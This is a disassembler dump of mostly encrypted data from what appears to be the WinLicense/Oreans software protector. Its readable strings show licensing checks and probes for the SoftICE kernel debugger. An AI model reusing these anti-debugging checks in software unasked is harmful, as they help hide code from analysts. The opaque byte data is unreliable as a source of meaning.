		dd 0E77C1B4Bh, 4DBEAC1Ah, 98439A58h, 0A225AF81h, 7E180830h
		dd 0CBCCB68Bh, 8871349Bh, 87F08FBBh, 0AA4B6303h, 0D7C57503h
		dd 49A3D866h, 23BEF0B1h, 5842E37Ch, 0E9902757h,	7063AD06h
		dd 49A3D6ADh, 0DC72644Bh, 386C19AEh, 0D0FFFFFDh, 0C269FC2Ch
		dd 3999119h, 44B5A353h,	8F49A3F2h, 6405A0CEh, 37A347Ah
		dd 570747A3h, 3EE580AEh, 0D260D1A5h, 0D8AB439Ch, 3E2CF4EEh
		dd 439CD2CDh, 0FA44518h, 52C3B161h, 9D439CD2h, 3E14E0CAh
		dd 5F3A3BEh, 49A3F294h,	4D7D0CDFh, 25ADD0BAh, 0FFA9972Dh
		dd 0BA47A2F8h, 0B2CE51E7h, 50121607h, 0F1B14FEh, 0EBABEFBCh
		dd 942A22AAh, 321CBBEBh, 4A623C2Ah, 0C66F9984h,	0BD56FD98h
		dd 7006D9D3h, 55FC9BC7h, 4A68D9C7h, 0E0B3957Eh,	933C553Fh
		dd 0CD7D130Bh, 0B85FF224h, 0A3EF351Fh, 6A937D41h, 0A1510197h
		dd 771142B3h, 0D0BA8D8Fh, 73089FCFh, 53EE1CC5h,	9D386869h
		dd 47A44BC7h, 0FF80AF46h, 26Dh,	0B247DE0Fh, 0AB40DF0Bh
		dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch
		dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 9A562B9Ch, 8D5F7643h
		dd 0B44D7C25h, 391FA7CAh, 2CC56C07h, 6807F58Bh,	0F479C7Ch
		dd 0CBFDA63Ch, 5E8D1A4Ah, 0E2831CC3h, 6C01A23Bh, 0E61293C5h
		dd 78FFA647h, 0B1D7AD48h, 9FA62D2h, 20359DAh, 74A50000h
		dd 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h, 89A13CD1h
		dd 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh, 0C93A2896h
		dd 14439A56h, 0A2252BFDh, 574D9D09h, 0AA5D18Ah,	0D45C7F69h
		dd 0B95846DCh, 60479B80h, 1E4EF78Dh, 9444F287h,	996035A6h
		dd 0C3AD8043h, 8F2519A0h, 99603AA1h, 83B07143h,	9AA43EAh
		dd 0DA8DB62h, 0A3DCE66h, 838E177h, 432DC66Dh, 0F8EC733Ch
		dd 792FB262h, 0DE55DD1Ch, 9C78E9BDh, 8EBC4399h,	2BB34CF3h
		dd 0B6666E58h, 2858E10Dh, 0AC4DE68Dh, 3C826C05h, 43999CD3h
		dd 0D943B0Eh, 0F66755DDh, 4143999Bh, 8737CD6Eh,	999C2899h
		dd 11A07343h, 8A148E3h,	0DC6D051Eh, 0DD8419ACh,	0FE731AADh
		dd 0FD4BD647h, 0EF842353h, 0E77D1848h, 0E8F46864h, 846EF526h
		dd 20B1E46Bh, 16B1E18Ah
		dd 0D3ECD66Fh, 0E613BC22h, 34025D47h, 902D5A03h, 0E275A5A6h
		dd 0E273A64Dh, 0C7F39C4Ch, 86E35428h, 5B2E4399h, 62E35871h
		dd 38E630BBh, 18897705h, 63439986h, 0AC5AEF90h,	0A938D703h
		dd 0F0F1DB76h, 0F67D24BDh, 0F29B31C4h, 12755BC2h, 0CD82A5F1h
		dd 0BE29422Ch, 4A7DAB75h, 4A7821B7h, 10BEC5AFh,	0B19B3A67h
		dd 3EE580B0h, 8C114372h, 48D61FFBh, 944FAEDEh, 998B3AC3h
		dd 2D684FBh, 0A94A8416h, 0D4C27208h, 8B24F563h,	0EAF1DBAEh
		dd 0CD741343h, 0DB821346h, 85BA8417h, 0F576E7D5h, 0EEC18B24h
		dd 34D30304h, 2DC8F89Fh, 5D55DD86h, 0D367D9C7h,	0DFB28923h
		dd 1F9814Ah, 5CAE7D6Bh,	0A2758316h, 0E94474FBh,	34D3CB73h
		dd 34C96A27h, 34CA5D8Dh, 0C3E863B1h, 957F144Fh,	8DCAB07Ch
		dd 2EC1AEB9h, 6F0636E0h, 6FFD30D9h, 576D1081h, 0E7885B4Eh
		dd 1F4FF6FDh, 2B5AE188h, 3780EB92h, 0F3B538E9h,	299A53A6h
		dd 81DB9B04h, 5978F58Bh, 0A73E6E6Fh, 9C3B6B12h,	374F5h
		dd 5EEA0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h
		dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah
		dd 89506711h, 405E0h, 42D0000h,	87000000h, 895C2404h, 0BE682414h
		dd 8900004Dh, 9568242Ch, 89000041h, 0BB53243Ch,	5E5831h
		dd 0EB81434Bh, 601D02EEh, 0C381D3F7h, 0A64AEC79h, 815B5D53h
		dd 4ECh, 24248900h, 4240481h, 5F000000h, 584D68h, 24048900h
		dd 8B8h, 89F80100h, 34FF5828h, 0C4835F24h, 242C8B04h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFDDE53h, 9EAFB8DFh
		dd 0C5030609h, 0C424E0FFh, 2273FBFh, 0E7A96CC4h, 44D0599Eh
		dd 2C8528BFh, 0ED4511CFh, 0F71F368Ch, 33051128h, 71591F1Dh
		dd 238728B4h, 0F617C27h, 0B00C3160h, 0EC3162DBh, 75595FE0h
		dd 0AF0B3AD8h, 3B41114Ch, 0E8B43B7Fh, 5D01B87h,	0CF663DAEh
		dd 78D32EF1h, 33E12398h, 0CEF23EF9h, 0F33C0933h, 88E55942h
		dd 0E62E4768h, 383B7D40h, 72E96BCFh, 60000000h,	19E9BD83h
		dd 0F000607h, 584h, 5DE900h, 6A0000h, 0F303E80h, 885h
		dd 46006A00h, 35E9h, 333E8000h,	8850Fh,	106A0000h, 24E946h
		dd 3E800000h, 8850F34h,	6A000000h, 13E94630h, 80000000h
		dd 850F353Eh, 8, 0E946406Ah, 2,	858D006Ah, 6071431h, 24048950h
		dd 6A965096h, 8195FF00h, 61060705h, 0CD85C6C3h,	4D060709h
		dd 4E8h, 3576A800h, 448B50A4h, 8B0424h,	4244489h, 85B5FF58h
		dd 8D060710h, 7396385h,	89D0FF06h, 7058185h, 5C1EEB06h
		dd 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h, 5C004449h
		dd 4E5C2E5Ch, 45434954h, 6AC08B00h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B553C357h
		dd 0E771AC9h, 3299BD8Bh, 0BD830607h, 6071ACDh, 83097500h
		dd 71135BDh, 19740006h,	0C08B5350h, 40FB8h, 7D858900h
		dd 8D06071Fh, 9ADC09Dh,	5BD3FF06h, 35BD8358h, 60711h, 53501774h
		dd 40FB8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0F5950158h
		dd 0F060711h, 68Bh, 25958B00h, 80060714h, 0C08B86C6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1CC35343h, 9999BA9Ch
		dd 0EE87BE7h, 5000000h,	0A0B182B3h, 0BE5334CBh,	4BE0D912h
		dd 0C65AFCA7h, 709CD85h, 850F4306h, 1Ah, 13E952h, 9E830000h
		dd 476ADED6h, 8EB0D893h, 79A4CE83h, 0A7ED9255h,	49685F09h
		dd 60A66CE0h, 2830Fh, 0F98B0000h, 14E8h, 80CE4700h, 0A4742D13h
		dd 0D1F4377Fh, 30BD0F77h, 6FA4A4CBh, 0F28B666Dh, 481615Fh
		dd 218EB324h, 53006A16h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0DE86094h, 1B000000h, 268C4EE8h
		dd 1DC3CC88h, 0AACFC89Eh, 0B44CBF66h, 8D0F615Bh, 6, 5D58D8Bh
		dd 0B5FF0607h, 607059Dh, 858D2CB2h, 6073963h, 6810Fh, 8D890000h
		dd 60720CDh, 0E850D0FFh, 9, 9EFC431Ch, 0C999119h, 0BE8C9h
		dd 13040000h, 0CAFFEA51h, 4A66C989h, 870BBA0Ch,	5F595F29h
		dd 0E9240489h, 14h, 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh
		dd 86C1DA45h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 3A64E2C3h, 8EAD088h, 184A3D1h, 710E59Dh
		dd 0E1816606h, 4E819EAh, 80000000h, 50000000h, 5E8h, 721D8F00h
		dd 8B5F3C91h, 50042444h, 0F595652h, 0BCE6BA31h,	585A7940h
		dd 870F008Bh, 0
		dd 4244489h, 93F4E3BEh,	0E0BA5832h, 606868FCh, 7E8h, 6ED72700h
		dd 7B7E93ADh, 8E8h, 3686E800h, 117C2D4Bh, 0E85E5854h, 0Ah
		dd 778B887Bh, 0A4B60819h, 61581361h, 8D89036Ah,	6072C89h
		dd 0B52006Ah, 7085DBDh,	36A5906h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0D8C35343h,	51C3E0A1h, 141CDE81h
		dd 2E684DE6h, 66509F5Ch, 812538BEh, 0A3D22404h,	5E96F60h
		dd 80000000h, 0A50460F5h, 0A04C9D8Dh, 8E80609h,	0D2000000h
		dd 0D5F975E2h, 5A83FA23h, 0F93D1B2h, 238Bh, 0AE800h, 0F2EC0000h
		dd 9537D659h, 254A6968h, 0DE8h,	5EFD2200h, 0D5EB24B1h
		dd 761FE0EDh, 5A5ACACAh, 50605250h, 5A310F52h, 13E958h
		dd 0EEAB0000h, 19ED44EFh, 572F3DC6h, 260F9A18h,	7538DCD9h
		dd 93596147h, 6860Fh, 0B5030000h, 6071911h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0CEA78CC3h, 40FD0EA0h, 2AC850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 748509C3h
		dd 1DC18D89h, 0BD8B0607h, 6072605h, 0D3B70F58h,	895A5150h
		dd 958B2404h, 60704F5h,	8B66006Ah, 4E8D1h, 800000h, 0F500000h
		dd 48Bh, 0ABBA6600h, 24448BA9h,	6E904h,	0B1BA0000h, 17AE88C8h
		dd 0D08B008Bh, 4244489h, 50505250h, 5A310F52h, 310F5A58h
		dd 8B58585Ah, 89036ACFh, 7078D8Dh, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 361AC357h, 5F6C5A77h, 6A552D1Ah, 91B58B03h, 6806072Ah
		dd 6B5B3002h, 481CE8Bh,	0A4CFFE24h, 0DFB96654h,	0CA816612h
		dd 9D8D1845h, 609A055h,	68B0Fh,	0BD8B0000h, 6071A11h, 0ADDCBE50h
		dd 1C895367h, 66D0FF24h, 2AE9E781h, 0BB850F40h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E811C356h, 13h, 0D7B8ECDBh, 47783D39h, 0E19FEA71h
		dd 0F8092D86h, 8B47CAA5h, 89585FF0h, 712E9B5h, 0CBE5006h
		dd 89623519h, 6A2404h, 4E8h, 8000h, 52505000h, 13880Fh
		dd 0DE80000h, 0E4000000h, 0A86946BAh, 0B29A3A4h, 0C93DD0F1h
		dd 50310F5Fh, 60310F52h, 5A585A61h, 24448B58h, 8BC88B04h
		dd 8E800h, 6760000h, 2E281F6h, 5A50FC7Ch, 2444895Eh, 58CA8B04h
		dd 549BD8Bh, 36A0607h, 0DE8h, 0C64D7600h, 0D92A41A9h, 2BF620C8h
		dd 5EF9B070h, 12E9h, 0ABD14000h, 6AA2567Bh, 26198D93h
		dd 0E1FFA733h, 6A409266h, 66606000h, 0E671D381h, 0F58D2961h
		dd 61060701h, 0B58B036Ah, 607139Dh, 4E8h, 0
		dd 890F60C0h, 5, 7ECD2FBBh, 6E861h, 197E0000h, 5004EDB1h
		dd 0C23FB966h, 0E850615Fh, 0Ah,	0E91BF726h, 90E7BF25h
		dd 12E9F708h, 7D000000h, 0C2EE143Dh, 38E39645h,	0E1405D22h
		dd 11126661h, 448B5E92h, 0D7BF0424h, 8B29FD79h,	0F28B6600h
		dd 4244489h, 0D64B7B9h,	0FE95847h, 0E7000000h, 0DF445105h
		dd 0C7E93D30h, 0E7F65D6h, 9D8D2322h, 609A060h, 50C88B66h
		dd 0C0BB6660h, 5E9CEh, 7F700000h, 61837D63h, 66241C89h
		dd 0FF44ADB9h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 405EC1C2h, 14850Fh, 18B50000h
		dd 0B5952958h, 0E9060705h, 154h, 181D8D89h, 0D88B0607h
		dd 0FE8h, 35747C00h, 0DB1B7972h, 18800D1Bh, 0FDA8A84Dh
		dd 0CF8B4B5Ah, 20C98158h, 0C641B72Fh, 709CD85h,	0E8FC4306h
		dd 4, 0C0764AA7h, 0D78B6660h, 5E8h, 35A35000h, 8B66ACD7h
		dd 506159CAh, 11E960h, 0E3230000h, 576EE177h, 8328F0D1h
		dd 5B689740h, 0BAC7B721h, 1A92AF43h, 24448B61h,	0BB526004h
		dd 3B19230h, 14E95Eh, 44750000h, 3D2493B3h, 93487BF5h
		dd 795246Bh, 6BA4707Fh,	8B61E507h, 24448900h, 5897B604h
		dd 1CFB65BAh, 9DB5FF26h, 66060705h, 3E64F681h, 3963858Dh
		dd 0B5230607h, 607048Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 69AF18C3h, 0EFBF6693h
		dd 0E86050F9h, 10h, 0BA107242h,	6CEDA99Ah, 54CCCB98h, 0A1049C96h
		dd 0CE9h, 8EB3B100h, 0EB05E13Ch, 0D3131E94h, 6E85A3Ch
		dd 0B4000000h, 64359E40h, 5A5F5307h, 5E569361h,	6AD0FFF8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9050C351h, 0ACEB7D3Bh, 6FE49D8Dh,	0CB8B0607h
		dd 1B8h, 10D68100h, 0FF0EA365h,	0E19529E3h, 0F8060728h
		dd 820FC18Bh, 6, 0A99D29h, 0C08B0607h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B4C35242h,	0A255890Eh, 0F7A4EC67h
		dd 59BD8B39h, 8306071Fh, 71ACDBDh, 9750006h, 1135BD83h
		dd 74000607h, 8B535019h, 40FB8C0h, 85890000h, 6072F81h
		dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
		dd 40FB853h, 85890000h,	6072F81h, 0AAC89D8Dh, 0D3FF0609h
		dd 8B66585Bh, 0BE9FBh, 249C0000h, 0A84B5B4h, 0E810B0DAh
		dd 0E9C08BEDh, 0AAh, 74666F53h,	65726177h, 6E69575Ch, 6563694Ch
		dd 65736Eh, 63656843h, 4E496Bh,	6F727058h, 69784574h, 68430074h
		dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
		dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
		dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
		dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
		dd 54554F74h, 49705400h, 4Eh, 2	dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	9A8E385h
		dd 0DF858D06h, 500609A8h, 0A849858Dh, 68500609h, 80000001h
		dd 0A8EF95FFh, 196A0609h, 0A8E3B5FFh, 16A0609h,	858D006Ah
		dd 609A878h, 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h
		dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h
		dd 8589C306h, 609A8E3h,	0A8DF858Dh, 8D500609h, 9A84985h
		dd 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h
		dd 46A5006h, 858D006Ah,	609A8A2h, 0DFB5FF50h, 0FF0609A8h
		dd 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h
		dd 0FF0609A8h, 70C6995h, 8589C306h, 609A8E3h, 0A8DF858Dh
		dd 8D500609h, 9A84985h,	1685006h, 0FF800000h, 9A8EF95h
		dd 8D046A06h, 9A8E385h,	46A5006h, 858D006Ah, 609A88Ah
		dd 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h
		dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 8589C306h
		dd 609A8E3h, 0A8DF858Dh, 8D500609h, 9A84985h, 1685006h
		dd 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h, 46A5006h
		dd 858D006Ah, 609A8B5h,	0DFB5FF50h, 0FF0609A8h,	708CD95h
		dd 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h
		dd 70C6995h, 8589C306h,	609A8E3h, 0A8DF858Dh, 8D500609h
		dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h
		dd 9A8E385h, 46A5006h, 858D006Ah, 609A865h, 0DFB5FF50h
		dd 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h
		dd 0DFB5FF06h, 0FF0609A8h, 70C6995h, 0BD83C306h, 6070455h
		dd 0B840F00h, 8B000000h, 704559Dh, 4CC38306h, 83C30389h
		dd 70455BDh, 840F0006h,	0Bh, 4559D8Bh, 0C3830607h, 0C3038950h
		dd 455BD83h, 0F000607h,	0B84h, 559D8B00h, 83060704h, 38954C3h
		dd 55BD83C3h, 60704h, 0B840Fh, 9D8B0000h, 6070455h, 8958C383h
		dd 0BD83C303h, 6070455h, 0B840F00h, 8B000000h, 704559Dh
		dd 5CC38306h, 0C3C30389h, 0E3858960h, 8D0609A8h, 9A8DF85h
		dd 858D5006h, 609A849h,	16850h,	95FF8000h, 609A8EFh, 858D046Ah
		dd 609A8E3h, 6A046A50h,	0DA858D00h, 500609A8h, 0A8DFB5FFh
		dd 95FF0609h, 60708CDh,	1ACDBD83h, 0F000607h, 0C84h, 0DFB5FF00h
		dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h
		dd 60C36106h, 0A8E38589h, 858D0609h, 609A8DFh, 49858D50h
		dd 500609A8h, 168h, 0EF95FF80h,	6A0609A8h, 0E3858D04h
		dd 500609A8h, 6A046Ah, 0A8BC858Dh, 0FF500609h, 9A8DFB5h
		dd 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h, 0Ch, 0A8DFB5FFh
		dd 95FF0609h, 609A8EBh,	0A8DFB5FFh, 95FF0609h, 6070C69h
		dd 8960C361h, 9A8E385h,	0DF858D06h, 500609A8h, 0A849858Dh
		dd 68500609h, 80000001h, 0A8EF95FFh, 46A0609h, 0A8E3858Dh
		dd 6A500609h, 8D006A04h, 9A8C385h, 0B5FF5006h, 609A8DFh
		dd 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h, 0FF000000h
		dd 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h, 6995FF06h
		dd 6106070Ch, 858960C3h, 609A8E3h, 0A8DF858Dh, 8D500609h
		dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h
		dd 9A8E385h, 46A5006h, 858D006Ah, 609A8CBh, 0DFB5FF50h
		dd 0FF0609A8h, 708CD95h, 0CDBD8306h, 6071Ah, 0C840Fh, 0B5FF0000h
		dd 609A8DFh, 0A8EB95FFh, 0B5FF0609h, 609A8DFh, 0C6995FFh
		dd 0C3610607h, 0E3858960h, 8D0609A8h, 9A8DF85h,	858D5006h
		dd 609A849h, 16850h, 95FF8000h,	609A8EFh, 858D046Ah, 609A8E3h
		dd 6A046A50h, 0D2858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h
		dd 60708CDh, 1ACDBD83h,	0F000607h, 0C84h, 0DFB5FF00h, 0FF0609A8h
		dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 60C36106h
		dd 0A8E385C7h, 10609h, 858D0000h, 609A8DFh, 49858D50h
		dd 500609A8h, 268h, 0EF95FF80h,	0B0609A8h, 0F840FC0h, 0C7000000h
		dd 9A8E385h, 6,	4DE900h, 46A0000h, 0A8E3858Dh, 6A500609h
		dd 8D006A04h, 9A85D85h,	0B5FF5006h, 609A8DFh, 8CD95FFh
		dd 0C00B0607h, 0F840Fh,	85C70000h, 609A8E3h, 0
		dd 0AE9h, 0E385C700h, 10609A8h,	0FF000000h, 9A8DFB5h, 6995FF06h
		dd 6106070Ch, 0A8E3858Bh, 60C30609h, 0A8E38589h, 858D0609h
		dd 609A8DFh, 49858D50h,	500609A8h, 168h, 0EF95FF80h, 6A0609A8h
		dd 0E3858D04h, 500609A8h, 6A046Ah, 0A85D858Dh, 0FF500609h
		dd 9A8DFB5h, 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h
		dd 0Ch,	0A8DFB5FFh, 95FF0609h, 609A8EBh, 0A8DFB5FFh, 95FF0609h
		dd 6070C69h, 8960C361h,	9A8E385h, 0DF858D06h, 500609A8h
		dd 0A849858Dh, 68500609h, 80000001h, 0A8EF95FFh, 46A0609h
		dd 0A8E3858Dh, 6A500609h, 8D006A04h, 9A86F85h, 0B5FF5006h
		dd 609A8DFh, 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h
		dd 0FF000000h, 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h
		dd 6995FF06h, 6106070Ch, 0CD85C6C3h, 52060709h,	0E47B0768h
		dd 0E5B5FFADh, 0FF060729h, 72C9595h, 0EF858906h, 0C60609A8h
		dd 709CD85h, 0E5685206h, 0FF902E00h, 729E5B5h, 9595FF06h
		dd 8906072Ch, 9A8EB85h,	0CD85C606h, 52060709h, 0BF123568h
		dd 0E5B5FFB9h, 0FF060729h, 72C9595h, 0CD858906h, 0C6060708h
		dd 709CD85h, 34685206h,	0FF987810h, 729E5B5h, 9595FF06h
		dd 8906072Ch, 70C6985h,	0CD85C606h, 52060709h, 5DBD468h
		dd 0E5B5FFC0h, 0FF060729h, 72C9595h, 29858906h,	0E8060722h
		dd 13h,	0E5EBD435h, 478F0A23h, 5D4EF3Eh, 6E163460h, 0F0EFEFEh
		dd 487h, 61605100h, 0C6815E5Fh,	6585h, 11E951h,	2CD60000h
		dd 0E68870F3h, 0D2B3D5C9h, 0C494F932h, 5AA780A2h, 0BF66C92Bh
		dd 1C8B2327h, 0B860F0Eh, 0E9000000h, 6,	9FC2B851h, 0F3817A09h
		dd 7842D594h, 815ADC80h, 63E095F3h, 0FEBF0F23h,	6FB7F381h
		dd 0D7B6264Bh, 0F0E1C89h, 185h,	14E9F800h, 6D000000h, 7EF19121h
		dd 31990C49h, 8035D23Ch, 16D6C6B0h, 83C2F928h, 49F803E9h
		dd 58B5B253h, 9B2CF981h, 850FFFFFh, 0FFFFFF9Ah,	8E9h, 16A3DB00h
		dd 4554D1D3h, 0BE8C8h, 1BD0000h, 0F54F974Dh, 1DB01D15h
		dd 0CB8B66FDh, 15E3815Fh, 814401CDh, 6F4DC7h, 0BACFB000h
		dd 784EB208h, 0A9A5F281h, 0D181784Eh, 3DDAD543h, 8166378Bh
		dd 81EA82E1h, 2CB549C6h, 0EDF5800Fh, 89FDC681h,	0D1813CFCh
		dd 15C501A2h, 0A3B3C681h, 8B0F7E62h, 3,	89C88B66h, 0DFB70F37h
		dd 3600EF81h, 81FC0AEFh, 0EF35FCC7h, 52D9800Ah,	0F01EA83h
		dd 1485h, 20E9F800h, 22000000h,	0FF3692F4h, 0EE603FA6h
		dd 61BD4696h, 0E9DEB46Ah, 0FFFFFF9Ch, 610904C4h, 0FFBA0FFEh
		dd 0E9A24D1Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h
		dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h
		dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h
		dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh
		dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh
		dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h
		dd 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 5BD8300h, 609B1h, 0A840Fh, 85C70000h, 6071135h, 1, 9CD85C6h
		dd 0E8470607h, 4, 906D6C8Dh, 24448B50h,	89008B04h, 58042444h
		dd 59DB5FFh, 858D0607h,	6073963h, 0D0FFD0FFh, 3F80F88Bh
		dd 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h,	3F80FFh
		dd 318840Fh, 80470000h,	840F003Fh, 30Eh, 1EE9h,	3F8000h
		dd 300840Fh, 3F800000h,	6850F20h, 47000000h, 6E9h, 0E2E94700h
		dd 80FFFFFFh, 850F003Fh, 5, 2DDE9h, 1E900h, 80470000h
		dd 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C0E900h, 0AE80000h
		dd 0E9000000h, 0FFFFFFCBh, 2B1E9h, 85B58D00h, 0E80609B0h
		dd 225h, 0B11ABD03h, 0BD830609h, 609B11Ah, 0B840F00h, 0C7000000h
		dd 71ACD85h, 106h, 0B58DC300h, 609B090h, 1FCE8h, 1ABD0300h
		dd 830609B1h, 9B11ABDh,	840F0006h, 0Bh,	113585C7h, 10607h
		dd 8DC30000h, 9B109B5h,	1D3E806h, 0BD030000h, 609B11Ah
		dd 0B11ABD83h, 0F000609h, 0B84h, 0E985C700h, 1060719h
		dd 0C3000000h, 0B09AB58Dh, 0AAE80609h, 3000001h, 9B11ABDh
		dd 1ABD8306h, 609B1h, 0B840Fh, 85C70000h, 6071135h, 1
		dd 0A4B58DC3h, 0E80609B0h, 181h, 0B11ABD03h, 0BD830609h
		dd 609B11Ah, 15840F00h,	0C7000000h, 7113585h, 106h, 0CD85C700h
		dd 106071Ah, 0C3000000h, 0B0B2B58Dh, 4EE80609h,	3000001h
		dd 9B11ABDh, 1ABD8306h,	609B1h,	0A840Fh, 85C70000h, 60732B5h
		dd 1, 0B0BCB58Dh, 26E80609h, 3000001h, 9B11ABDh, 1ABD8306h
		dd 609B1h, 0A840Fh, 85C70000h, 60732B5h, 1, 0B0C7B58Dh
		dd 0FEE80609h, 3000000h, 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh
		dd 85C70000h, 60713F1h,	1, 0B0CDB58Dh, 0D6E80609h, 3000000h
		dd 9B11ABDh, 1ABD8306h,	609B1h,	0A840Fh, 85C70000h, 6072389h
		dd 1, 0B0D3B58Dh, 0AEE80609h, 3000000h,	9B11ABDh, 1ABD8306h
		dd 609B1h, 0A840Fh, 85C70000h, 6072A85h, 1, 0B0E1B58Dh
		dd 86E80609h, 3000000h,	9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh
		dd 85C70000h, 6072FE1h,	1, 0B0EEB58Dh, 5EE80609h, 3000000h
		dd 9B11ABDh, 1ABD8306h,	609B1h,	0A840Fh, 85C70000h, 607058Dh
		dd 1, 0B0F9B58Dh, 36E80609h, 3000000h, 9B11ABDh, 1ABD8306h
		dd 609B1h, 0A840Fh, 85C70000h, 6071EC5h, 1, 1E9h, 3F804700h
		dd 9840F20h, 80000000h,	850F003Fh, 0FFFFFFEDh, 1B960C3h
		dd 8B000000h, 19E9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 2840F16h,	2B000000h, 804746C9h, 840F003Eh
		dd 8, 850FC90Bh, 0FFFFFFD6h, 840FC90Bh,	21h, 0F003F80h
		dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
		dd 0FC90B00h, 0D84h, 89F32B00h,	9B11AB5h, 0AE906h, 85C70000h
		dd 609B11Ah, 0
		dd 0C88BC361h, 20EE9h, 61433300h, 746F6E6Eh, 69727720h
		dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h
		dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h
		dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h
		dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h	dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 9CD85C6h, 68470607h, 0E3E45B86h, 59DB5FFh
		dd 858D0607h, 6073963h,	468D0FFh, 8D000001h, 7312D9Dh
		dd 0D0FF5306h, 96B58D50h, 8B0609B6h, 0AEC032FEh, 0FFF9850Fh
		dd 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0CD85C6A4h, 43060709h
		dd 8E6EFC68h, 9DB5FFBCh, 8D060705h, 7396385h, 8DD0FF06h
		dd 7312DB5h, 68006A06h,	80h, 6A026Ah, 68006Ah, 56C00000h
		dd 0D88BD0FFh, 9CD85C6h, 68570607h, 0A69BEE56h,	59DB5FFh
		dd 858D0607h, 6073963h,	0BD8DD0FFh, 60722FDh, 0B7BC8D8Dh
		dd 6A0609h, 37D06857h, 53510000h, 0C085D0FFh, 1B850Fh
		dd 0B58D0000h, 609B49Eh, 9FA8858Dh, 0D0FF0609h,	6FE48D8Dh
		dd 0B80607h, 0FF000000h, 0CD85C6E1h, 43060709h,	764AA768h
		dd 9DB5FFC0h, 8D060705h, 7396385h, 53D0FF06h, 0B9C3D0FFh
